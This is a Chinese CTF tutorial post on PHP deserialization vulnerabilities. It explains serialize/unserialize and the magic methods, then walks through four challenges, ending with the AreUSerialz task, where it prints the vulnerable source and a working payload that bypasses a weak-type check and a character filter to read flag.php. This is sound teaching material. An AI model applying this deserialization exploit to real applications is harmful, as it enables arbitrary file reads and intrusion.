• 37:WEB漏洞反序列化之PHP&JAVA全解(上)


    思维导图

     

    知识点

    PHP反序列化

    原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
    在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候有可能触发对象中的一些魔术方法。

    • serialize() //将一个对象转换为一个字符串
    • unserialize() //将字符串还原成一个对象

    触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

    • _construct() //创建对象时触发
    • _destruct() //对象被销毁时触发
    • _call() //在对象上下文中调用不可访问的方法时触发
    • _callStatic() //在静态上下文中调用不可访问的方法时触发
    • _get() //用于从不可访问的属性读取数据
    • _set() //用于将数据写入不可访问的属性
    • _isset() //在不可访问的属性上调用isset()或empty()触发

    参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

    本课重点:

    • 案例1:PHP反序列化热身题-无类问题-本地
    • 案例2:CTF反序列化小真题-无类执行-实例
    • 案例3:CTF反序列化练习题-有类魔术方法触发-本地
    • 案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例

    案例1:PHP反序列化热身题-无类问题-本地

    案例演示1:认识序列化

    PHP在线执行:http://www.dooccn.com/php/

    <?php
    $a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
     
    //序列化数组
    $s = serialize($a);
    echo $s;
    //输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
    ?>
    

    案例演示2:本地实例

    源码:test.php

    <?php
    error_reporting(0);
    include "flag.php";
    $KEY = "xiaodi";
    $str = $_GET['str'];
    if (unserialize($str) === "$KEY")
    {
        echo "$flag";
    }
    show_source(__FILE__);
    ?>
    

    输入s:6:"xiaodi";成功拿到flag。

    案例2:CTF反序列化小真题-无类执行-实例

    Bugku CTF题目:https://ctf.bugku.com/challenges\#flag.php

    题目如下,提示hint

    打开场景后,是个登录框

    这个登录框没啥用,根据提示在url后面加?hint=111,系统返回源代码

    审计源代码,发现反序列化漏洞。

    漏洞利用:

    <1>使用php在线执行工具,将key序列化

    <2>构造请求,将反序列化后的key放入cookie中,

    <3>放行请求,发现并未返回flag。为什么呢?原因是源码这里有2个坑:

    以下,将请求中的hint参数删除,并将cookie值改为序列化后的空值,放行请求,成功拿到flag。

    案例3:CTF反序列化练习题-有类魔术方法触发-本地

    测试代码

    <?php
    
    class ABC{
        public $test;
        function __construct(){
            $test =1;
            echo '调用了构造函数<br>';
        }
        function __destruct(){
            echo '调用了析构函数<br>';
        }
        function __wakeup(){
            echo '调用了苏醒函数<br>';
        }
    }
    echo '创建对象a<br>';
    $a = new ABC;
    echo '序列化<br>';
    $a_ser=serialize($a);
    echo '反序列化<br>';
    $a_unser = unserialize($a_ser);
    echo '对象快要死了!';
    
    ?>
    

    在线执行结果

    执行结果说明,

    • 创建对象时,会默认调用__construct()方法,
    • 反序列化时,会默认调用__wakeup()函数,
    • 对象被销毁时,会默认调用__destruct()函数

    案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例

    案例:2020-网鼎杯-青龙组-Web-AreUSerialz

    地址:https://www.ctfhub.com/#/challenge

    进入场景后,显示如下代码

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") { 
                $this->write();
            } else if($this->op == "2") {  //弱类型判断,仅判断数值,op 赋值数字2或字符串' 2'也成立
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() { //析构函数,销毁类时执行,也就是在最后执行
            if($this->op === "2")  //强类型比较,判断数值+类型,可以使用数字2或字符串' 2'绕过判断
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str); //反序列化,所以要先序列化。
        }
    
    }
    

    首先由ctf命名及代码函数unserialize判断本题考察反序列化知识点

    • 第一:获取flag存储flag.php
    • 第二:两个魔术方法__destruct __construct
    • 第三:传输str参数数据后触发destruct,存在is_valid过滤
    • 第四:__destruct中会调用process,其中op=1写入及op=2读取
    • 第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

    涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过

    弱类型绕过

    使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
    __destruct函数中if($this->op === "2")代码,对op进行了===判断(强类型)并且op值为字符串2时会赋值为1,
    process函数中if($this->op == "2")代码,使用==判断(弱类型)(op值为2的情况下才能读取内容),
    因此这里存在弱类型比较,可以使用数字2或字符串' 2'绕过判断。

    ascii绕过

    is_valid函数还对序列化字符串进行了校验。
    因为PHP序列化的时候,若成员被private和protected修饰,会引入不可见字符\x00,这些字符对应的ascii码为0,这是个ASCII不在32到125之间的字符,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
    经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。因此可以改成public来绕过is_valid函数校验。

    payload:

    <?php
    class FileHandler{
      public $op=' 2';//源码告诉我们op为1时执行写入,op为2时执行读取
      public $filename="flag.php";//文件开头调用的是flag.php
      public $content="xd";
    }
    $flag = new FileHandler();
    $flag_1 = serialize($flag);
    echo $flag_1;
    ?>
    

    先序列化

    传参,成功拿到flag。

  • 相关阅读:
    stdin stdout stderr
    stat
    ssh-keyscan
    START TRANSACTION
    ssh-keygen
    ssh-agent
    ssh-add
    虚拟化之lxc
    Web 在线文件管理器学习笔记与总结(1)初始文件以及获取首层目录信息
    Java实现 LeetCode 97 交错字符串
  • 原文地址:https://www.cnblogs.com/zhengna/p/15661109.html
Copyright © 2020-2023  润新知